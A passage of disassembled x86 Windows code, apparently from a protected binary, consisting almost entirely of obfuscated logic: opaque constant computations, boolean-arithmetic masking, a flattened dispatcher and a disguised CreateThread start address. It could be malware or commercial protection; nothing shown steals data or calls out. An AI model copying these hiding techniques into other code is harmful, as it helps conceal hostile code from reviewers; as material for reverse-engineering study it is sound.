or al, ch
or cl, ah
xor al, cl
mov byte [ebp - 0xfd3], al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bl, 1
xor bl, 1
and bl, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bl, ch
or al, ah
xor bl, al
xor bl, 0xff
xor bl, 0
and bl, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1001], al
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
and al, 0xff
and cl, ah
mov dh, ch
and dh, 0xff
and bl, ah
or al, cl
mov cl, byte [ebp - 0x1001]
or dh, bl
xor al, dh
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or al, cl
mov byte [ebp - 0xfd0], al
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov ch, bh
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or cl, ch
or al, ah
xor cl, al
mov al, 1
xor al, 0
and al, 1
mov ah, 1
xor ah, 1
and ah, 0
or al, ah
mov ah, 1
xor ah, 1
and ah, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or ah, bl
or ch, dh
xor ah, ch
mov byte [ebp - 0xfff], ah
mov ah, cl
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov bl, ah
and bl, 0xff
mov byte [ebp - 0x1000], bl
and cl, ch
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0xffe], al
mov al, byte [ebp - 0x1000]
or al, cl
mov cl, byte [ebp - 0xfff]
mov byte [ebp - 0xffd], al
mov al, byte [ebp - 0xffe]
or bl, al
mov al, byte [ebp - 0xffd]
xor al, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or al, ah
mov byte [ebp - 0xffa], al
mov ah, 1
xor ah, 1
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
mov dh, ah
and dh, 0xff
mov al, ch
and al, 1
mov byte [ebp - 0xffc], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xffb], al
mov al, byte [ebp - 0xffc]
and cl, ch
or dh, al
mov al, byte [ebp - 0xffb]
or al, cl
mov cl, byte [ebp - 0xffa]
xor dh, al
mov al, byte [ebp - 0xff9]
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or dh, ah
mov ah, cl
xor ah, 0xff
and ah, 0
mov bl, 1
xor bl, 0
and cl, bl
mov ch, 1
xor ch, 1
and ch, 0
and bl, 1
or ah, cl
mov cl, byte [ebp - 0xfd0]
or ch, bl
xor ah, ch
xor ah, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or ah, dh
or ch, 0
xor ah, 0xff
and ah, ch
mov byte [ebp - 0xfe7], ah
mov bl, al
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
and al, ah
or bl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 0
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov ah, bl
xor ah, 0xff
mov byte [ebp - 0xff6], ah
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
and ah, 0xff
and bl, ch
mov byte [ebp - 0xff8], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0xff7], al
mov al, byte [ebp - 0xff8]
or ah, al
mov al, byte [ebp - 0xff7]
or bl, al
mov al, byte [ebp - 0xff6]
xor ah, bl
or al, dh
xor al, 0xff
or ch, 1
and al, ch
or ah, al
mov ch, 1
xor ch, 0
mov byte [ebp - 0xff3], ch
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
and ch, 0
mov al, dh
and al, 0
mov byte [ebp - 0xff5], al
mov al, bl
and al, 0
mov byte [ebp - 0xff4], al
mov al, byte [ebp - 0xff5]
and cl, dh
or ch, al
mov al, byte [ebp - 0xff4]
or al, cl
mov cl, byte [ebp - 0xff3]
xor ch, al
mov al, byte [ebp - 0xfd3]
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or ch, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ah, dh
or cl, ah
xor ch, 0xff
mov ah, cl
xor ah, ch
and ah, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and al, cl
or dh, al
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
mov ch, 1
xor ch, 1
and ch, 0
mov al, 1
xor al, 0
mov cl, al
and cl, 1
mov byte [ebp - 0xff2], cl
mov cl, 1
xor cl, 1
and cl, 0
and al, 1
mov byte [ebp - 0xff1], al
mov al, byte [ebp - 0xff2]
or ch, al
mov al, byte [ebp - 0xff1]
or cl, al
mov al, byte [ebp - 0xfd0]
xor ch, cl
mov cl, dh
and cl, bl
xor dh, bl
or cl, dh
mov dh, ch
and dh, 1
xor ch, 1
or dh, ch
mov ch, cl
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and cl, bl
or ch, cl
xor ch, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 1
or ch, dh
or cl, 1
xor ch, 0xff
and ch, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and dl, dh
or cl, dl
mov byte [ebp - 0xff0], cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov dl, 1
xor dl, 1
and dl, 0
mov bl, 1
xor bl, 0
mov al, bl
and al, 1
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or dl, al
mov al, byte [ebp - 0xff0]
or dh, bl
xor dl, dh
mov byte [ebp - 0xfed], dl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0xfec], dh
mov bl, cl
xor bl, 0xff
mov dl, 1
xor dl, 0
and dh, 0
and al, dl
mov byte [ebp - 0xfef], al
mov al, bl
and al, 0
mov byte [ebp - 0xfee], al
mov al, byte [ebp - 0xfef]
and cl, dl
or dh, al
mov al, byte [ebp - 0xfee]
or al, cl
mov cl, byte [ebp - 0xfed]
xor dh, al
mov al, byte [ebp - 0xfec]
or al, bl
xor al, 0xff
or dl, 0
and al, dl
or dh, al
mov dl, 1
xor dl, 1
mov byte [ebp - 0xfe9], dl
mov al, cl
xor al, 0xff
mov byte [ebp - 0xfe8], al
mov bl, 1
xor bl, 1
and dl, 0xff
mov al, bl
and al, 1
mov byte [ebp - 0xfeb], al
mov al, byte [ebp - 0xfe8]
and al, 0xff
mov byte [ebp - 0xfea], al
mov al, byte [ebp - 0xfeb]
and cl, bl
or dl, al
mov al, byte [ebp - 0xfea]
or al, cl
mov cl, byte [ebp - 0xfe9]
xor dl, al
mov al, byte [ebp - 0xfe8]
or cl, al
mov al, byte [ebp - 0xfe7]
xor cl, 0xff
or bl, 1
and cl, bl
or dl, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dh, bl
or cl, dh
xor dl, 0xff
mov bl, cl
xor bl, dl
and bl, cl
mov dl, ah
xor dl, 0xff
mov cl, al
xor cl, dl
and cl, al
mov dh, al
xor dh, 0xff
mov dl, ah
and dl, dh
xor ah, 0xff
and al, ah
or dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0xfd4], al
mov ah, ch
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or ah, al
mov dh, bl
xor dh, 0xff
and dh, 0
mov cl, 1
xor cl, 0
mov dl, bl
and dl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, dl
or al, cl
xor dh, al
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
mov al, cl
and al, 1
mov byte [ebp - 0xfe6], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0xfe5], al
mov al, byte [ebp - 0xfe6]
and cl, 1
or dl, al
mov al, byte [ebp - 0xfe5]
or al, cl
xor dl, al
mov al, ah
xor al, 0xff
mov byte [ebp - 0xfe4], al
mov cl, 1
xor cl, 1
mov al, 1
xor al, 0
mov byte [ebp - 0xfe3], al
mov al, byte [ebp - 0xfe4]
or al, cl
mov cl, byte [ebp - 0xfe3]
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0xfe2], al
mov al, dl
xor al, 0xff
mov cl, ch
xor cl, al
mov al, byte [ebp - 0xfe2]
and cl, ch
mov byte [ebp - 0xfe1], cl
mov ch, 1
xor ch, 1
mov cl, dh
xor cl, ch
and cl, dh
mov byte [ebp - 0xfdc], cl
mov cl, dl
xor cl, 0xff
mov ch, bl
xor ch, cl
mov cl, byte [ebp - 0xfe1]
and ch, bl
mov byte [ebp - 0xfdb], ch
mov bl, al
xor bl, 0xff
xor cl, 0xff
mov byte [ebp - 0xfdd], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0xfde], cl
mov ch, bl
and ch, 0xff
and al, cl
mov cl, byte [ebp - 0xfe1]
mov byte [ebp - 0xfe0], al
mov al, byte [ebp - 0xfdd]
and al, 0xff
mov byte [ebp - 0xfdf], al
mov al, byte [ebp - 0xfde]
and cl, al
mov al, byte [ebp - 0xfe0]
or ch, al
mov al, byte [ebp - 0xfdf]
or al, cl
mov cl, byte [ebp - 0xfde]
xor ch, al
mov al, byte [ebp - 0xfdd]
or bl, al
mov al, byte [ebp - 0xfdc]
xor bl, 0xff
or cl, 1
and bl, cl
mov cl, byte [ebp - 0xfdb]
or ch, bl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0xfd7], bl
xor cl, 0xff
mov byte [ebp - 0xfd8], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0xfd6], cl
and bl, 0xff
and al, cl
mov cl, byte [ebp - 0xfdb]
mov byte [ebp - 0xfda], al
mov al, byte [ebp - 0xfd8]
and al, 0xff
mov byte [ebp - 0xfd9], al
mov al, byte [ebp - 0xfd6]
and cl, al
mov al, byte [ebp - 0xfda]
or bl, al
mov al, byte [ebp - 0xfd9]
or al, cl
mov cl, byte [ebp - 0xfd8]
xor bl, al
mov al, byte [ebp - 0xfd7]
or al, cl
mov cl, byte [ebp - 0xfd6]
xor al, 0xff
or cl, 1
and al, cl
or bl, al
mov cl, ch
xor cl, 0xff
and cl, 0
mov al, 1
xor al, 0
and ch, al
mov byte [ebp - 0xfd5], ch
mov ch, bl
xor ch, 0xff
and ch, 0
and bl, al
mov al, byte [ebp - 0xfd5]
or cl, al
mov al, byte [ebp - 0xfd4]
or ch, bl
xor cl, ch
mov ch, ah
and ch, dh
xor ah, dh
or ch, ah
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and ch, dh
or ah, ch
mov ch, dl
and ch, 1
xor dl, 1
or ch, dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov ch, cl
and ch, dl
xor cl, dl
or ch, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or ah, cl
xor ah, 0xff
xor ah, 0
and ah, 0
mov bl, 1
xor bl, 0
and bl, 1
mov dl, 1
xor dl, 1
mov dh, dl
and dh, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bl, dh
or cl, dl
xor bl, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or dl, al
mov cl, 1
xor cl, 0
mov al, dl
xor al, cl
mov cl, byte [ebp - 0xfd3]
and al, dl
xor ch, 0xff
xor bl, 0xff
mov dl, 1
xor dl, 1
or ch, bl
or dl, 1
xor ch, 0xff
and ch, dl
mov dl, ah
and dl, dh
xor ah, dh
or dl, ah
mov ah, al
and ah, ch
xor al, ch
or ah, al
mov ch, dl
xor ch, 0xff
mov al, ah
and al, ch
xor ah, 0xff
and dl, ah
or al, dl
mov byte [ebp - 0xfc7], al
mov dl, bh
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, bh
and al, ah
or dl, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dh, cl
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov dh, 1
xor dh, 0
and dh, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 0
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dh, bl
or al, ch
xor dh, al
mov byte [ebp - 0xfd2], dh
mov al, 1
xor al, 0
mov ch, dl
xor ch, al
and ch, dl
xor bh, 0xff
xor dh, 0xff
mov al, 1
xor al, 1
or bh, dh
or al, 1
xor bh, 0xff
and bh, al
mov dh, ah
xor dh, 0xff
mov al, 1
xor al, 0
mov bl, 1
xor bl, 0
or dh, al
mov al, byte [ebp - 0xfd2]
or bl, 0
xor dh, 0xff
and dh, bl
xor al, 0xff
mov bl, cl
xor bl, al
mov al, byte [ebp - 0xfd2]
and bl, cl
mov cl, ch
and cl, bh
xor ch, bh
or cl, ch
mov ch, dh
and ch, bl
xor dh, bl
or ch, dh
mov dh, cl
xor dh, 0xff
mov bl, ch
and bl, dh
xor ch, 0xff
and cl, ch
or bl, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dh, cl
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and cl, dl
or dh, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 1
mov cl, al
and cl, 0xff
and bl, dl
mov ch, ah
and ch, 0xff
and dh, dl
or cl, bl
or ch, dh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
mov ch, cl
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, ch
or dl, ah
xor al, dl
xor al, 0xff
xor al, 0
and al, 0
mov dl, 1
xor dl, 0
and dl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 0
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
xor cl, 0xff
mov ch, dl
xor ch, 0xff
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
mov ah, 1
xor ah, 1
and ah, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or ah, bl
or ch, dh
xor ah, ch
xor ah, 0xff
mov dh, 1
xor dh, 0
mov ch, 1
xor ch, 1
or ah, dh
or ch, 1
xor ah, 0xff
and ah, ch
mov byte [ebp - 0xfd1], ah
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, ah
and ch, 0xff
and al, dh
mov bh, bl
and bh, 0xff
and cl, dh
or ch, al
mov al, byte [ebp - 0xfd1]
or bh, cl
mov cl, byte [ebp - 0xfd0]
xor ch, bh
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or ch, ah
mov ah, al
and ah, dl
xor al, dl
or ah, al
mov dl, ch
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov al, ah
xor al, 0xff
and al, 0
and ah, dh
or dl, ch
or al, ah
xor dl, al
mov dh, 1
xor dh, 0
and dh, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 0
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dh, ch
or al, ah
xor dh, al
mov byte [ebp - 0xfcb], dh
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov ah, cl
and ah, ch
or al, ah
mov byte [ebp - 0xfcd], al
mov ch, 1
xor ch, 1
and ch, 1
mov ah, 1
xor ah, 1
and ah, 1
or ch, ah
mov bl, 1
xor bl, 1
mov ah, dh
xor ah, bl
and ah, dh
mov dh, 1
xor dh, 0
mov bh, ch
xor bh, 0xff
mov bl, 1
xor bl, 1
or dh, bh
or bl, 1
xor dh, 0xff
and dh, bl
xor al, 0xff
mov bh, 1
xor bh, 1
mov bl, 1
xor bl, 1
or al, bh
or bl, 1
xor al, 0xff
and al, bl
xor cl, 0xff
mov bh, ch
xor bh, 0xff
mov bl, 1
xor bl, 1
or cl, bh
or bl, 1
xor cl, 0xff
and cl, bl
mov bh, ah
and bh, dh
xor ah, dh
or bh, ah
mov bl, al
xor bl, 0xff
mov byte [ebp - 0xfcc], bl
mov dh, cl
xor dh, 0xff
mov ah, 1
xor ah, 0
and bl, 0
and al, ah
mov byte [ebp - 0xfcf], al
mov al, dh
and al, 0
mov byte [ebp - 0xfce], al
mov al, byte [ebp - 0xfcf]
and cl, ah
or bl, al
mov al, byte [ebp - 0xfce]
or al, cl
mov cl, byte [ebp - 0xfcd]
xor bl, al
mov al, byte [ebp - 0xfcc]
or al, dh
xor al, 0xff
or ah, 0
and al, ah
or bl, al
mov ah, bh
xor ah, 0xff
and ah, 0
mov al, 1
xor al, 0
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0
and bl, al
mov al, byte [ebp - 0xfcb]
or ah, bh
or dh, bl
xor ah, dh
mov bh, al
xor bh, 0xff
mov byte [ebp - 0xfc8], bh
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
and bh, 0
and al, dh
mov byte [ebp - 0xfca], al
mov al, bl
and al, 0
mov byte [ebp - 0xfc9], al
mov al, byte [ebp - 0xfca]
and cl, dh
or bh, al
mov al, byte [ebp - 0xfc9]
or al, cl
mov cl, byte [ebp - 0xfc8]
xor bh, al
mov al, byte [ebp - 0xfc7]
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or bh, cl
mov cl, bh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or cl, bh
or dh, bl
xor cl, dh
mov dh, ch
and dh, 1
xor ch, 1
or dh, ch
xor dh, 0xff
mov ch, cl
xor ch, dh
and ch, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and cl, ch
or ah, cl
mov cl, dl
xor cl, 0xff
mov ch, ah
and ch, cl
xor ah, 0xff
mov cl, dl
and cl, ah
or ch, cl
xor ch, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or ch, dl
or cl, 1
xor ch, 0xff
and ch, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or dl, cl
mov byte [ebp - 0xfc6], dl
mov dh, ch
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov cl, ch
and cl, ah
or dh, cl
mov bh, 1
xor bh, 0
and bh, 1
mov ah, 1
xor ah, 1
mov bl, ah
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or bh, bl
or cl, ah
xor bh, cl
xor dl, 0xff
mov ah, 1
xor ah, 0
mov cl, 1
xor cl, 1
or dl, ah
or cl, 1
xor dl, 0xff
and dl, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, 1
xor al, 0
mov ah, dh
xor ah, al
and ah, dh
xor ch, 0xff
mov al, bh
xor al, 0xff
mov cl, 1
xor cl, 1
or ch, al
mov al, byte [ebp - 0xfc6]
or cl, 1
xor ch, 0xff
and ch, cl
mov cl, dl
and cl, bl
xor dl, bl
or cl, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ah, cl
xor ah, 0xff
mov bl, dl
and bl, ah
xor dl, 0xff
and cl, dl
or bl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0xfc5], cl
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 0
and cl, 0
and al, dl
mov ch, ah
and ch, 0
and dh, dl
or cl, al
mov al, byte [ebp - 0xfc5]
or ch, dh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0xfc4], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 0
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0xfc4]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x14fc2692
mov ecx, 0x7ad95dcb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1a8]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0x28]
sub eax, 0x5b8a4598
add eax, 0xaa1761ac
add eax, 0x5b8a4598
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x8e2b71c5
add ecx, eax
xor eax, eax
sub eax, ecx
add eax, 0x7d366990
sub eax, 0xaa1761ac
sub eax, 0x7d366990
xor ecx, ecx
sub ecx, 0x66aab31d
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x66aab31d
add ecx, eax
xor eax, eax
sub eax, ecx
xor edx, edx
sub edx, 0x8e2b71c5
add edx, 0
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, eax
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov dl, byte [eax]
mov eax, 0xbcf8f6ea
mov ecx, 0x59cb7e80
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov ecx, dword [0x63d5c4]
mov eax, dword [0x63d5c0]
xor esi, esi
sub esi, ecx
add esi, 0
xor edi, edi
sub edi, 0xeea77491
sub edi, 0xfbb1b738
add edi, 0xeea77491
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xbb33033a
sub edx, esi
add edx, 0xbb33033a
sub edx, 0x96ae2c83
add edx, 0xcf0e017a
add edx, 0x96ae2c83
xor esi, esi
sub esi, 1
add edx, esi
sub edx, 0x75d3bc2b
sub edx, 0xcf0e017a
add edx, 0x75d3bc2b
sub edx, 0x7830d5c
sub edx, 0xa39d6170
add edx, 0x7830d5c
xor esi, esi
sub esi, 0xfbb1b738
add edx, esi
sub edx, 0xe8a0ecb9
add edx, 0xa39d6170
add edx, 0xe8a0ecb9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
cmp eax, 0xa
setl al
mov byte [ebp - 0x1047], al
mov cl, dh
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ah, dh
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov dl, 1
xor dl, 0
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov al, bh
xor al, 0xff
mov ch, dh
xor ch, al
and ch, dh
mov cl, 1
xor cl, 1
and cl, 0
mov ah, 1
xor ah, 0
mov bl, ah
and bl, 1
mov al, 1
xor al, 1
and al, 0
and ah, 1
or cl, bl
mov bl, byte [ebp - 0x1047]
or al, ah
xor cl, al
mov ah, 1
xor ah, 0
mov al, cl
xor al, ah
and al, cl
mov ah, 1
xor ah, 1
xor bh, 0xff
mov cl, 1
xor cl, 1
or ah, bh
or cl, 1
xor ah, 0xff
and ah, cl
mov cl, dl
and cl, ch
xor dl, ch
or cl, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov ah, cl
xor ah, 0xff
mov al, dl
and al, ah
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x1045], al
mov bh, bl
xor bh, 0xff
and bh, 0
mov cl, 1
xor cl, 0
mov dl, bl
and dl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, dl
or al, cl
xor bh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov cl, bh
xor cl, 0xff
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and bh, dl
mov ch, ah
and ch, 0xff
and bl, dl
or al, bh
or ch, bl
xor al, ch
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x1042], al
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
mov dl, cl
and dl, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, dl
or al, cl
xor ah, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov cl, 1
xor cl, 1
and cl, 0
mov dl, 1
xor dl, 0
mov ch, dl
and ch, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ch
or al, dl
xor cl, al
mov bh, 1
xor bh, 1
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov cl, ah
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and ah, dl
mov bl, ch
and bl, 0
and bh, dl
or al, ah
mov ah, byte [ebp - 0x1045]
or bl, bh
xor al, bl
or cl, ch
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov byte [ebp - 0x1035], al
mov cl, ah
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov dl, 1
xor dl, 1
and dl, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, ch
or al, ah
xor dl, al
mov ah, 1
xor ah, 1
and ah, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 1
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, bl
or al, ch
xor ah, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x104a], al
mov dl, 1
xor dl, 1
mov bl, ah
xor bl, 0xff
mov ch, 1
xor ch, 1
mov cl, dl
and cl, 0xff
mov al, ch
and al, 1
mov bh, bl
and bh, 0xff
and ah, ch
or cl, al
mov al, byte [ebp - 0x104a]
or bh, ah
mov ah, byte [ebp - 0x1035]
xor cl, bh
or dl, bl
xor dl, 0xff
or ch, 1
and dl, ch
or cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and al, ch
or dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov al, dh
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or al, dh
or cl, ch
xor al, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
mov ch, 1
xor ch, 1
and ch, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or ch, bl
or ah, dh
xor ch, ah
mov dh, al
xor dh, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ah, dh
and ah, 0
and al, bl
mov byte [ebp - 0x1049], al
mov al, bh
and al, 0
mov byte [ebp - 0x1048], al
mov al, byte [ebp - 0x1049]
and cl, bl
or ah, al
mov al, byte [ebp - 0x1048]
or al, cl
mov cl, byte [ebp - 0x1047]
xor ah, al
mov al, byte [ebp - 0x1042]
or dh, bh
xor dh, 0xff
or bl, 0
and dh, bl
or ah, dh
mov dh, ch
and dh, 1
xor ch, 1
or dh, ch
mov ch, ah
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and ah, bl
or ch, ah
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
